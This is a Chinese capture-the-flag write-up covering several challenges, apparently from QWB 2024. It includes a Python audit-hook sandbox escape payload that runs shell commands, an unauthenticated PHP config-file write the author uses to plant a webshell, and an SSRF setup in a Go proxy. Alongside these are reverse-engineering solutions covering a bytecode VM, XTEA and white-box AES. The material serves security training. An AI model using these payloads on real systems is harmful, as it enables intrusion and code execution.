PyBlockly
下载附件,发现禁用了一些函数
def do(source_code):
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
开始构造,读一下源码,发现要非ascii码,那么可以用全角绕过
发现有回显了
尝试一下读取文件,但是hock函数有点难绕过,好像open没禁,尝试构造一下
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"'\nprint(open("/etc/passwd").read())\n#"},"inputs":{}}]}}
文件读取成功,然后想读/flag的,但是发现没权限
搜索一下
最后构造的poc
{"blocks":{"languageVersion":0,"blocks":[{"type":"text","fields":{"TEXT":"';__import__('sys').modules['__main__'].__dict__['__builtins__'].__dict__['len'] = lambda x: 1\n__import__('os').system('LFILE=file_to_read dd if=/flag')#"}}]}}
xiaohuanxiong
漏洞点:没有鉴权
漏洞位置在xiaohuanxiong\application\admin\controller\Payment.php中
<?php
namespace app\admin\controller;
use app\model\User;
use app\model\UserFinance;
use app\service\FinanceService;
use think\facade\App;
class Payment extends BaseAdmin
{
protected $financeService;
protected function initialize()
{
parent::initialize(); // TODO: Change the autogenerated stub
$this->financeService = new FinanceService();
}
//支付配置文件
public function index()
{
if ($this->request->isPost()) {
$content = input('json');
file_put_contents(App::getRootPath() . 'config/payment.php', $content);
$this->success('保存成功');
}
$content = file_get_contents(App::getRootPath() . 'config/payment.php');
$this->assign('json', $content);
return view();
}
//订单查询
public function orders()
{
$id = input('id');
$uid = input('uid');
$status = (int)input('status');
$map = array();
if ($id) {
$map[] = ['id', '=', $id];
}
if ($uid) {
$map[] = ['user_id', '=', $uid];
}
if ($status) {
$map[] = ['status', '=', $status == 2 ? 0 : 1];
}
$data = $this->financeService->getPagedOrders($map);
$this->assign([
'orders' => $data['orders'],
'count' => $data['count']
]);
return view();
}
//用户消费记录
public function finance()
{
$uid = input('uid');
$usage = input('usage');
$map = array();
if ($uid) {
$map[] = ['user_id', '=', $uid];
}
if ($usage) {
$map[] = ['usage', '=', $usage];
}
$data = $this->financeService->getPagedFinance($map);
$this->assign([
'finances' => $data['finances'],
'count' => $data['count']
]);
return view();
}
//用户购买记录
public function buy()
{
$data = $this->financeService->getPagedBuyHistory();
$this->assign([
'buys' => $data['buys'],
'count' => $data['count']
]);
return view();
}
public function charge()
{
if ($this->request->isPost()) {
$uid = input('uid');
$user = User::get($uid);
if (!$user) {
$this->error('用户不存在');
}
$money = input('money');
$userFinance = new UserFinance();
$userFinance->user_id = $uid;
$userFinance->money = $money;
$userFinance->usage = 1;
$userFinance->summary = '代充值';
$userFinance->save();
$this->success('充值成功');
}
return view();
}
}
这里没有对用户的身份进行验证,可以直接访问到后台,Post传一个json参数,把内容写入到了payment里面
burp抓包写马
访问一下/admin/payment
成功写入
接下来写个马
读一下flag
proxy
下载附件,核心代码
package main
import (
"bytes"
"io"
"net/http"
"os/exec"
"github.com/gin-gonic/gin"
)
type ProxyRequest struct {
URL string `json:"url" binding:"required"`
Method string `json:"method" binding:"required"`
Body string `json:"body"`
Headers map[string]string `json:"headers"`
FollowRedirects bool `json:"follow_redirects"`
}
func main() {
r := gin.Default()
v1 := r.Group("/v1")
{
v1.POST("/api/flag", func(c *gin.Context) {
cmd := exec.Command("/readflag")
flag, err := cmd.CombinedOutput()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.JSON(http.StatusOK, gin.H{"flag": flag})
})
}
v2 := r.Group("/v2")
{
v2.POST("/api/proxy", func(c *gin.Context) {
var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if !req.URL.IsAbs() {
return http.ErrUseLastResponse
}
if !proxyRequest.FollowRedirects {
return http.ErrUseLastResponse
}
return nil
},
}
req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
for key, value := range proxyRequest.Headers {
req.Header.Set(key, value)
}
resp, err := client.Do(req)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.Status(resp.StatusCode)
for key, value := range resp.Header {
c.Header(key, value[0])
}
c.Writer.Write(body)
c.Abort()
})
}
r.Run("127.0.0.1:8769")
}
题目意思很明显叫我们构造一个json来指定如何将结构体字段序列化或反序列化为 JSON 格式
type ProxyRequest struct {
URL string `json:"url" binding:"required"`
Method string `json:"method" binding:"required"`
Body string `json:"body"`
Headers map[string]string `json:"headers"`
FollowRedirects bool `json:"follow_redirects"`
}
看代码:在v1的路由下定义了一个POST方法请求的路由/api/flag,cmd执行了/readflag
v1 := r.Group("/v1")
{
v1.POST("/api/flag", func(c *gin.Context) {
cmd := exec.Command("/readflag")
flag, err := cmd.CombinedOutput()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.JSON(http.StatusOK, gin.H{"flag": flag})
})
}
这段代码说在/v2/api/proxy下解析JSON 数据
v2 := r.Group("/v2")
{
v2.POST("/api/proxy", func(c *gin.Context) {
var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if !req.URL.IsAbs() {
return http.ErrUseLastResponse
}
if !proxyRequest.FollowRedirects {
return http.ErrUseLastResponse
}
return nil
},
}
接下来就可以构造了
21_steps
根据题目可知,需要输入的command,根据正则表达式可以看出,允许传入的只有A和B以及运算符,
目的是要我们计算128为随机数的权重,也就是1的个数,传入的command里的运算符,根据那个符号的减分的数字来凑够21分,是的计算随机生成的128位的权重正好等于原来记录下来的wa。
也就是说找到一个算法能够找到生成的128位随机数的权重,且该算法的运算符根据上面的计分有21分,即可成立。
这里选择使用汉明重量算法,但是根据128位的,基本的算法是具有28个运算符,也就是28分,这超出了目标,因此选择优化
下面是优化后的脚本,正好具有21个1分的运算符
def swar_count_ones(A):
B = A & 0x55555555555555555555555555555555
A = A >> 1
A = A & 0x55555555555555555555555555555555
A = B + A
B = A & 0x33333333333333333333333333333333
A = A >> 2
A = A & 0x33333333333333333333333333333333
A = B + A
B = A & 0xf0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
A = A >> 4
A = A & 0xf0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
A = B + A
B= A >> 8
A = B + A
B = A >> 16
A = B + A
B = A >> 32
A = B + A
B = A >> 64
A = B + A
A = A & 0xff
return A
如此便能进行交互,但是接受的只能是A和B,以及运算符和将其分开的‘;‘
最终数据便是
B=A&113427455640312821154458202477256070485;A=A>>1;A=A&113427455640312821154458202477256070485;A=B+A;B=A&68056473384187692692674921486353642291;A=A>>2;A=A&68056473384187692692674921486353642291;A=B+A;B=A&20016609818878733144904388672456953615;A=A>>4;A=A&20016609818878733144904388672456953615;A=B+A;B=A>>8;A=B+A;B=A>>16;A=B+A;B=A>>32;A=B+A;B=A>>64;A=B+A;A=A&255;
由于识别不了十六进制的数据,便改成了十进制。
exp:
from pwn import *
# 连接到指定的地址和端口
io = remote('123.56.219.14', 24616)
command = '''B=A&113427455640312821154458202477256070485;A=A>>1;A=A&113427455640312821154458202477256070485;A=B+A;B=A&68056473384187692692674921486353642291;A=A>>2;A=A&68056473384187692692674921486353642291;A=B+A;B=A&20016609818878733144904388672456953615;A=A>>4;A=A&20016609818878733144904388672456953615;A=B+A;B=A>>8;A=B+A;B=A>>16;A=B+A;B=A>>32;A=B+A;B=A>>64;A=B+A;A=A&255;'''
io.sendline(command)
io.interactive()
boxx
取出地图数据
按关打印出来 就是把3推到4
四个字符在最后
所有关合起来是212139211325313
md5
remem
先还原出代码。
VM把字节码转换成X64机器码来执⾏,其实可以断⼀下munmap提取⼀下汇编指令。
1 from claripy import *
2 import struct
3
4
5 flag = [
6 BVS('v1', 64),
7 BVS('v2', 64),
8 BVS('v3', 64),
9 BVS('v4', 64),
10 BVS('v5', 64)
11 ]
12 dword_4CB4F4 = flag[0]
13 dword_4CB4F8 = flag[1]
14 dword_4CB4FC = flag[2]
15 dword_4CB500 = flag[3]
16 dword_4CB504 = flag[4]
17
18
19 dword_4CB508 = 0x5E2F4391;
20 # 防⽌被优化
21 dword_4CB50C = BVS('CONST_0x42DB9F06', 64)
22 dword_4CB510 = BVS('CONST_0x35368926', 64)
23 dword_4CB514 = BVS('CONST_0x509A3978', 64)
24 dword_4CB518 = BVS('CONST_0x1EBFA92F', 64)
25 dword_4CB51C = BVS('CONST_0x555CC98C', 64)
26 v16 = [0]*44
27 v16[0] = dword_4CB4F4;
28 v16[1] = dword_4CB4F4;
29 v16[2] = dword_4CB4F8;
30 v16[3] = dword_4CB4F8;
31 v16[4] = dword_4CB4F4;
32 v16[5] = dword_4CB4F8;
33 v16[6] = dword_4CB4F4;
34 v16[7] = dword_4CB4F4;
35 v16[8] = dword_4CB4FC;
36 v16[9] = dword_4CB4FC;
37 v16[10] = dword_4CB500;
38 v16[11] = dword_4CB4FC;
39 v16[12] = dword_4CB500;
40 v16[13] = dword_4CB500;
41 v16[14] = dword_4CB504;
42 v16[15] = dword_4CB504;
43 v16[16] = 0;
44 v16[17] = 0;
45 v5 = [0] *22
46
47 v5[0] = 3;
48 v5[1] = dword_4CB4F8;
49 v5[2] = 6;
50 v5[3] = 82;
51 v5[4] = 6;
52 v5[5] = 2;
53 v5[6] = 13;
54 v5[7] = 17;
55 v5[8] = dword_4CB4FC;
56 v5[9] = 5;
57 v5[10] = 5;
58 v5[11] = 88;
59 v5[12] = dword_4CB4FC;
60 v5[13] = 4;
61 v5[14] = 5;
62 v5[15] = 232;
63 v5[16] = 35;
64 v5[17] = 8;
65 v5[18] = 16;
66
67 xor_table = [
68 dword_4CB50C,
69 dword_4CB510,
70 dword_4CB514,
71 dword_4CB518,
72 dword_4CB51C
73 ]
74
75 sp = 0
76 ea = 0x4C9100
77 pc = 0
78 v13 = 1
79 v14 = 0
80 mask = 2**64-1
81
82
83 mul_index = 0
84 xor_index = 0
85 v11 = 1
86 v15 = [0]*6
87 v14 = dword_4CB4F4
88
89
90 code = [0x000000F2, 0x00000000, 0x000000F2, 0x00000003, 0x000000F7,
0x000000F2, 0x00000003, 0x000000F2, 0x00000003, 0x000000F7, 0x000000F2,
0x00000003, 0x000000F7, 0x000000F2, 0x00000003, 0x000000F7, 0x000000F2,
0x00000000, 0x000000F2, 0x00000003, 0x000000F7, 0x000000F2, 0x00000003,
0x000000F7, 0x000000F2, 0x00000003, 0x000000F7, 0x000000F2, 0x00000003,
0x000000F2, 0x00000003, 0x000000F7, 0x000000F2, 0x00000000, 0x000000F2,
0x00000003, 0x000000F7, 0x000000F2, 0x00000003, 0x000000F7, 0x000000F2,
0x00000003, 0x000000F2, 0x00000003, 0x000000F7, 0x000000F2, 0x00000000,
0x000000F2, 0x00000003, 0x000000F7, 0x000000F2, 0x00000003, 0x000000F7,
0x000000F2, 0x00000000, 0x000000F2, 0x00000003, 0x000000F7, 0x000000F2,
0x00000003, 0x000000F7, 0x000000F2, 0x00000000, 0x000000F2, 0x00000003,
0x000000F7, 0x000000F0, 0x00000000, 0x00000003, 0x000000F1, 0x00000000,
0x00000003, 0x000000F6, 0x00000003, 0x000000F0, 0x00000000, 0x00000003,
0x000000F1, 0x00000000, 0x00000003, 0x000000F6, 0x00000003, 0x000000F0,
0x00000000, 0x00000003, 0x000000F1, 0x00000000, 0x00000003, 0x000000F6,
0x00000003, 0x000000F0, 0x00000000, 0x00000003, 0x000000F0, 0x00000000,
0x00000003, 0x000000F6, 0x00000003, 0x000000F0, 0x00000000, 0x00000003,
0x000000F0, 0x00000000, 0x00000003, 0x000000F1, 0x00000000, 0x00000003,
0x000000F6, 0x00000003, 0x000000F7, 0x000000F3, 0x00000000, 0x00000003,
0x000000F3, 0x00000000, 0x00000003, 0x000000F3, 0x00000000, 0x00000003,
0x000000F3, 0x00000000, 0x00000003, 0x000000F3, 0x00000000, 0x00000003,
0x000000F8, 0x00000000, 0x00000000]
91
92
93 while pc < 127:
94 opcode = code[pc]
95 print(f'{pc:04X}|{opcode:02X}| ')
96 v0 = code[pc+1]
97 v1 = code[pc+2]
98 if opcode == 0xF0:
99 sp -= 1
100 t0 = v16[sp + 18]
101 sp -= 1
102 t1 = v16[sp + 18]
103 res = (t0+t1)&mask
104 v16[sp+18] = res
105 sp += 1
106 # print(f'add {v0} {v1} | {t0:08x} {t1:08x} | res {res:08X}')
107 pc += 3
108 elif opcode == 0xF1:
109 sp -= 1
110 t0 = v16[sp + 18]
111 sp -= 1
112 t1 = v16[sp + 18]
113 res = (t0-t1)&mask
114 v16[sp+18] = res
115 sp += 1
116 # print(f'sub {v0} {v1} | {t0:08x} {t1:08x} | res {res:08X}')
117 pc += 3
118 elif opcode == 0xF2:
119 if v0:
120 v14 *= v5[mul_index]
121 mul_index += 1
122 else:
123 v14 *= v14
124 v14 &= mask
125 # print(f'mul {v0} | {mul_index} {v5[mul_index]:08X} | res {v14:08X}')
126 pc += 2
127 elif opcode == 0xF3:
128 v11 -= 1
129 xor1 = v14 ^ v15[v11]
130 v14 = xor1 ^ xor_table[xor_index]
131 # print(f'xor {v0} {v1}| {xor1:08X} | res {v14:08X}')
132
133 xor_index += 1
134 pc += 3
135 elif opcode == 0xF6:
136 sp -= 1
137 t0 = v16[sp + 18]
138 v15[v11] = t0 % dword_4CB508
139 # print(f'div {v0} | {t0:08x} | {v11} | res {v15[v11]:08X}')
140 v11 += 1
141 pc += 2
142 elif opcode == 0xF7:
143 v16[sp+18] = v14
144 sp += 1
145 # print(f'_')
146 v14 = v16[v13]
147 v13 += 1
148 pc += 1
149 elif opcode == 0xF8:
150 print(f'res {v14}')
151 break
152 else:
153 break
输出表达式
1 res <BV64 (v2_1_64 * 0x6 + v2_1_64 * 0x52 + v1_0_64 * v2_1_64 * 0x6 - v1_0_64
* v1_0_64 * 0x3) % 0x5e2f4391 ^ CONST_0x42DB9F06_5_64 ^ (v1_0_64 * 0x11 +
v2_1_64 * 0xd + v1_0_64 * v1_0_64 * 0x2) % 0x5e2f4391 ^ CONST_0x35368926_6_64
^ (v3_2_64 * 0x58 + v3_2_64 * v3_2_64 * 0x5 - v1_0_64 * v3_2_64 * 0x5) %
0x5e2f4391 ^ CONST_0x509A3978_7_64 ^ (v4_3_64 * 0xe8 + v3_2_64 * v3_2_64 * 0x5
- v4_3_64 * v3_2_64 * 0x4) % 0x5e2f4391 ^ CONST_0x1EBFA92F_8_64 ^ (v5_4_64 *
v5_4_64 * 0x10 + v5_4_64 * 0x8 - v4_3_64 * v4_3_64 * 0x23) % 0x5e2f4391 ^
CONST_0x555CC98C_9_64>
这⾥可以把异或视为判断,并将表达式转换成⽅程组。
1 (((v2 * 0x58 + v1 * v2 * 0x6 - v1 * v1 * 0x3)) % 0x5e2f4391) == 0x42DB9F06
2 (((v1 * 0x11 + v2 * 0xd + v1 * v1 * 0x2)) % 0x5e2f4391) == 0x35368926
3 (((v3 * 0x58 + v3 * v3 * 0x5 - v1 * v3 * 0x5)) % 0x5e2f4391) == 0x509A3978
4 (((v4 * 0xe8 + v3 * v3 * 0x5 - v4 * v3 * 0x4)) % 0x5e2f4391) == 0x1EBFA92F
5 (((v5 * 0x8 + v5 * v5 * 0x10 - v4 * v4 * 0x23)) % 0x5e2f4391) == 0x555CC98C
咋⼀看好像没法爆破,其他题的flag格式是hex,猜测⼀下这题flag格式也是hex,爆破v1和v2最多只
需要2^32次。
很快就把v1和v2爆出来了,v3v4v5也是相同的道理。
1 #include <stdint.h>
2 #include <stdio.h>
3
4 #define P 0x5e2f4391
5
6 void any_conv(char *p, uint32_t n) {
7 const char *table = "0123456789abcdef"; // v5 }
8 const int base = 16; // v5 17
9 const int outsize = 8; // 4
10 for (int i = 0; i < outsize; i++) {
11 int v = n % base;
12 p[outsize - 1 - i] = table[v];
13 n = n / base;
14 }
15 }
16
17 void solve() {
18 char buf[9] = {};
19 // 3cfbaf5f9a18382aa23}
20 uint64_t v1 = 0x33636662;
21 uint64_t v2 = 0x61663566;
22 uint64_t v3 = 0x39613138;
23 uint64_t v4 = 0x33383261;
24 uint64_t v5 = 0x6132337D;
25
26 for (uint32_t x = 0; ;x++) {
27 any_conv(buf, x);
28 if (x % 0x100000 == 0) {
29 printf("\r%08X", x);
30 fflush(stdout);
31 }
32 v1 = *(uint32_t *)&buf[0];
33 v2 = *(uint32_t *)&buf[4];
34 //v3 = *(uint32_t *)&buf[0];
35 //v4 = *(uint32_t *)&buf[4];
36 //v5 = *(uint32_t *)&buf[0];
37
38 uint64_t res1 = (((v2 * 0x58 + v1 * v2 * 0x6 - v1 * v1 *
0x3)) % P); // 0x42DB9F06
39 uint64_t res2 = (((v1 * 0x11 + v2 * 0xd + v1 * v1 *
0x2)) % P); // 0x35368926
40 uint64_t res3 = (((v3 * 0x58 + v3 * v3 * 0x5 - v1 * v3 *
0x5)) % P); // 0x509A3978
41 uint64_t res4 = (((v4 * 0xe8 + v3 * v3 * 0x5 - v4 * v3 *
0x4)) % P); // 0x1EBFA92F
42 uint64_t res5 = (((v5 * 0x8 + v5 * v5 * 0x10 - v4 * v4 *
0x23)) % P);// 0x555CC98C
43
44 if (res1 == 0x42DB9F06 && res2 == 0x35368926) {
45 printf("\n\n%s: %08X %08X\n", buf, (uint32_t)v1, (uint32_t)v2);
46 break;
47 }
48 // if (res3 == 0x509A3978 && res4 == 0x1EBFA92F && res5 == 0x555CC98C)
{
49 // printf("\n\n%s: %08X %08X %08X\n", buf, (uint32_t)v3,
(uint32_t)v4, (uint32_t)v5);
50 // break;
51 // }
52 }
53 }
54
55 int main() {
56 solve();
57 }
很快就把v1和v2爆出来了,v3v4v5也是相同的道理。
斯内克
hint:1. 需要选⼿的操作序列最短
- 赛题内设⽤于触发验证的轮次减少
- 选⼿可忽略由蛇的⾝体⻓度引起的可能
题⽬提⽰:蛇要最优⾛好每⼀步;蛇不应该直接调头(如当蛇往右⾛时,不能直接转变⽅向为左),否则
会咬伤⾃⼰
先把代码逆出来
import msvcrt
import os
import time
from hashlib import md5
from ctypes import *
def ror1(v, s):
return ((v>>s)|(v<<(8-s)))&0xFF
class Game:
def __init__(self) -> None:
self.shellcode = bytearray(open('./export_results.bin', 'rb').read())
self.x = 10
self.y = 10
self.direction = 1
cdll.msvcrt.srand(0xDEADBEEF)
self.food_x, self.food_y = None, None
self.new_food()
def new_food(self):
_fx, _fy = self.food_x, self.food_y
while True:
self.food_x, self.food_y = cdll.msvcrt.rand() % 20,
cdll.msvcrt.rand() % 20
24 if self.food_x != _fx or self.food_y != _fy:
25 break
26
27 def encrypt(self, new_direction):
28 if new_direction == 0:
29 tmp = list(self.shellcode)
30 for i in range(len(self.shellcode)):
31 self.shellcode[i] = tmp[(i+6)%len(self.shellcode)]
32 elif new_direction == 1:
33 for i in range(len(self.shellcode)):
34 self.shellcode[i] = (self.shellcode[i]+0x1E)&0xFF
35 elif new_direction == 2:
36 for i in range(len(self.shellcode)):
37 self.shellcode[i] = (self.shellcode[i]+0x9A)&0xFF
38 elif new_direction == 3:
39 for i in range(len(self.shellcode)):
40 self.shellcode[i] = ror1(self.shellcode[i], 5)
41
42 def moveable(self, new_direction):
43 if self.direction == 0 and new_direction == 1:
44 return False
45 if self.direction == 1 and new_direction == 0:
46 return False
47 if self.direction == 2 and new_direction == 3:
48 return False
49 if self.direction == 3 and new_direction == 2:
50 return False
51 return True
52
53 def render(self):
54 os.system('cls')
55 for y in range(20):
56 for x in range(20):
57 ch = ' '
58 if (x, y) == (self.x, self.y):
59 ch = 'O'
60 if (x, y) == (self.food_x, self.food_y):
61 ch = '*'
62 print(ch, end='')
63 print('')
64
65 game = Game()
66 print(game.food_x, game.food_y)
67 score = 0
68 if game.direction == 1:
69 game.x = game.food_x
70 game.render()
71 trace = ""
72 while True:
73 ch = msvcrt.getch().decode()
74 if ch == 'w':
75 new_direction = 2
76 elif ch == 's':
77 new_direction = 3
78 elif ch == 'a':
79 new_direction = 0
80 elif ch == 'd':
81 new_direction = 1
82 trace += ch
83 if new_direction != game.direction and game.moveable(new_direction):
84 print('new_direction', new_direction)
85 # game.encrypt(new_direction)
86 if new_direction == 2:
87 if game.y != game.food_y:
88 game.y = game.food_y
89 game.direction = new_direction
90 game.encrypt(game.direction)
91 elif new_direction == 3:
92 if game.y != game.food_y:
93 game.y = game.food_y
94 game.direction = new_direction
95 game.encrypt(game.direction)
96 elif new_direction == 0:
97 if game.x != game.food_x:
98 game.x = game.food_x
99 game.direction = new_direction
100 game.encrypt(game.direction)
101 elif new_direction == 1:
102 if game.x != game.food_x:
103 game.x = game.food_x
104 game.direction = new_direction
105 game.encrypt(game.direction)
106 elif new_direction == game.direction:
107 if new_direction == 2:
108 if game.y != game.food_y:
109 game.y = game.food_y
110 elif new_direction == 3:
111 if game.y != game.food_y:
112 game.y = game.food_y
113 elif new_direction == 0:
114 if game.x != game.food_x:
115 game.x = game.food_x
116 elif new_direction == 1:
117 if game.x != game.food_x:
118 game.x = game.food_x
119 if md5(game.shellcode).digest() ==
bytes.fromhex('9C06C08F882D7981E91D663364CE5E2E'):
120 print('okokokokok', trace)
121 open('./shellcode', 'wb').write(game.shellcode)
122 exit(0)
123 if (game.x, game.y) == (game.food_x, game.food_y):
124 score += 1
125 print(f'score: {score}')
126 game.new_food()
127 print('new_food', game.food_x, game.food_y)
128 game.render()
129 # 左右上下 0123
130 time.sleep(0.1)
okokokokok wassawdsaawddsawds
根据hint的规则来操控,⾛了⼗⼏步就提⽰完成了。
shellcode xtea
1 char __fastcall sub_0(unsigned int *a1)
2 {
3 // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
4
5 v1 = &v4;
6 for...
7 v5 = 0;
8 v6 = -1640531527;
9 qmemcpy(key, "W31c0m3. 2 QWBs8", 16);
10 v8 = *a1;
11 v9 = a1[1];
12 v10 = a1[2];
13 v11 = a1[3];
14 for ( j = 0; j < 0x20; ++j )
15 {
16 v8 += (key[v5 & 3] + v5) ^ (v9 + ((v9 >> 5) ^ (16 * v9)));
17 v5 += v6;
18 v9 += (key[(v5 >> 11) & 3] + v5) ^ (v8 + ((v8 >> 5) ^ (16 * v8)));
19 }
20 for ( k = 0; k < 0x20; ++k )
21 {
22 v10 += (key[v5 & 3] + v5) ^ (v11 + ((v11 >> 5) ^ (16 * v11)));
23 v5 += v6;
24 v11 += (key[(v5 >> 11) & 3] + v5) ^ (v10 + ((v10 >> 5) ^ (16 * v10)));
25 }
26 v8 ^= v10;
27 v9 ^= v11;
28 v11 ^= v8;
29 v10 ^= v9;
30 v14[0] = 0x98;
31 v14[1] = 0xA0;
32 v14[2] = 0xD9;
33 v14[3] = 0x98;
34 v14[4] = 0xBA;
35 v14[5] = 0x97;
36 v14[6] = 0x1B;
37 v14[7] = 0x71;
38 v14[8] = 0x9B;
39 v14[9] = 0x81;
40 v14[10] = 0x44;
41 v14[11] = 0x2F;
42 v14[12] = 0x55;
43 v14[13] = 0xB8;
44 v14[14] = 0x37;
45 v14[15] = 0xDF;
46 for ( m = 0; m < 16; ++m )
47 {
48 if ( *((char *)&v8 + m) != v14[m] )
49 return 0;
50 }
51 return 1;
52 }
解密
1 from ctypes import *
2 from Crypto.Util.number import *
3
4 delta=0x9e3779b9
5 sum1=c_uint32(delta*64)
6
7 def decrypt(v,k):
8 v0=c_uint32(v[0])
9 v1=c_uint32(v[1])
10 for i in range(32):
11 v1.value-=
(((v0.value<<4)^(v0.value>>5))+v0.value)^(sum1.value+k[(sum1.value>>11)&3])
12 sum1.value-=delta
13 v0.value-=
(((v1.value<<4)^(v1.value>>5))+v1.value)^(sum1.value+k[sum1.value&3])
14 return v0.value,v1.value
15
16 if __name__=='__main__':
17 a=[0x98D9A098,0x711B97BA,0x2F44819B,0xDF37B855]
18 k=[0x63313357,0x2E336D30,0x51203220,0x38734257]
19 a[2]^=a[1]
20 a[3]^=a[0]
21 a[1]^=a[3]
22 a[0]^=a[2]
23 temp=[0]*2
24 for i in range(1,-1,-1):
25 temp[0]=a[i*2]
26 temp[1]=a[i*2+1]
27 res=decrypt(temp,k)
28 a[i*2]=res[0]
29 a[i*2+1]=res[1]
30 for i in range(len(a)):
31 print(long_to_bytes(a[i])[::-1].decode(),end='')
ez_vm
⽤x64dbg在vm架构读取数据的位置下条件断点打⽇志。
单独看写字节操作的⽇志很容易能分辨出来开头有个aes的ShiftRows。
再看写四字节的⽇志。
72 == 942
末尾有不太⼀样的SubBytes
可以看出来不是常规结构aes的加密特征,并且符合⽩盒aes的特征。
还原出代码
1 import struct
2
3
4 def shift_rows(data):
5 shift = list(bytes.fromhex('00 05 0A 0F 04 09 0E 03 08 0D 02 07 0C 01 06
0B'))
6 tmp = list(data)
7 for i in range(len(data)):
8 data[i] = tmp[shift[i]]
9
10 def sub_bytes(data):
11 for i in range(len(data)):
12 ea = 0x140011000+0x100*i+data[i]
13 data[i] = ida_bytes.get_byte(ea)
14
15 # dfa = 0
16 for dfa in range(17):
17 idx = 0
18 data = bytearray.fromhex('cd112233445566778899aabbccddeeff')
19 shift_rows(data)
20 for i in range(9): # 9 round
21 for j in range(4):
22 ea = 0x140013000+0x1000*idx
23 a = ida_bytes.get_dword(ea+0x400*0+data[j*4+0]*4)
24 b = ida_bytes.get_dword(ea+0x400*1+data[j*4+1]*4)
25 c = ida_bytes.get_dword(ea+0x400*2+data[j*4+2]*4)
26 d = ida_bytes.get_dword(ea+0x400*3+data[j*4+3]*4)
27 # print(hex(a), hex(b), hex(c), hex(d))
28 tmp = a^b^c^d
29 struct.pack_into(">I", data, j*4, tmp)
30 # print(hex(tmp))
31
32 ea = 0x140037000+0x1000*idx
33
34 a = ida_bytes.get_dword(ea+0x400*0+data[j*4+0]*4)
35 b = ida_bytes.get_dword(ea+0x400*1+data[j*4+1]*4)
36 c = ida_bytes.get_dword(ea+0x400*2+data[j*4+2]*4)
37 d = ida_bytes.get_dword(ea+0x400*3+data[j*4+3]*4)
38 # print(hex(a), hex(b), hex(c), hex(d))
39 tmp = a^b^c^d
40 struct.pack_into(">I", data, j*4, tmp)
41 # print(hex(tmp))
42 idx += 1
43 shift_rows(data)
44 if i == 7 and dfa: # DFA!!!
45 data[dfa-1] = 0x00
46 pass
47 # print(f'round {i}', data.hex())
48
49 sub_bytes(data)
50 print(data.hex())
51
还原秘钥
1 import phoenixAES
2
3 with open('tracefile', 'wb') as t:
4 t.write("""
5 f9f5e4a2539037b72cc05176449dd680
6 1df5e4a2539037f12cc01c7644b0d680
7 d1f5e4a2539037572cc0a576440fd680
8 92f5e4a2539037882cc0bb7644f9d680
9 2af5e4a2539037ea2cc0af7644b1d680
10 f968e4a2149037b72cc051c1449d6f80
11 f9ece4a2f09037b72cc051a5449d6880
12 f928e4a2879037b72cc05161449db480
13 f99de4a2059037b72cc051cf449d0080
14 f9f555a253d137b766c05176449dd659
15 f9f548a253cf37b79fc05176449dd654
16 f9f565a2539937b70dc05176449dd67d
17 f9f548a2533137b764c05176449dd663
18 f9f5e43653905db72c235176099dd680
19 f9f5e4a753901fb72c8c5176649dd680
20 f9f5e4d1539092b72cfb51760f9dd680
21 f9f5e45d5390b3b72cf15176f39dd680
22 """.encode('utf8'))
23
24 phoenixAES.crack_file('tracefile', verbose=0)
25 # Last round key #N found:
26 # BF2256727EF09577C7F720C7D84D697A
Stark:
./aes_keyschedule BF2256727EF09577C7F720C7D84D697A 10
K00: 77656C636F6D65746F71776232303234
调⽤Stark得到aes秘钥: welcometoqwb2024
1 from Crypto.Cipher import AES
2
3
4 # ./aes_keyschedule BF2256727EF09577C7F720C7D84D697A 10
5 cipher = AES.new(b'welcometoqwb2024', AES.MODE_ECB)
6 ct = bytes.fromhex('''C4 0C C0 20 FC 48 F6 D2 6C D2 FC 2B 5C A7 2E 65 41 FE 0E
64 05 6E D5 9C CC 41 1D 10 BE A0 F5 09''')
7 pt = cipher.decrypt(ct)
8 print(pt)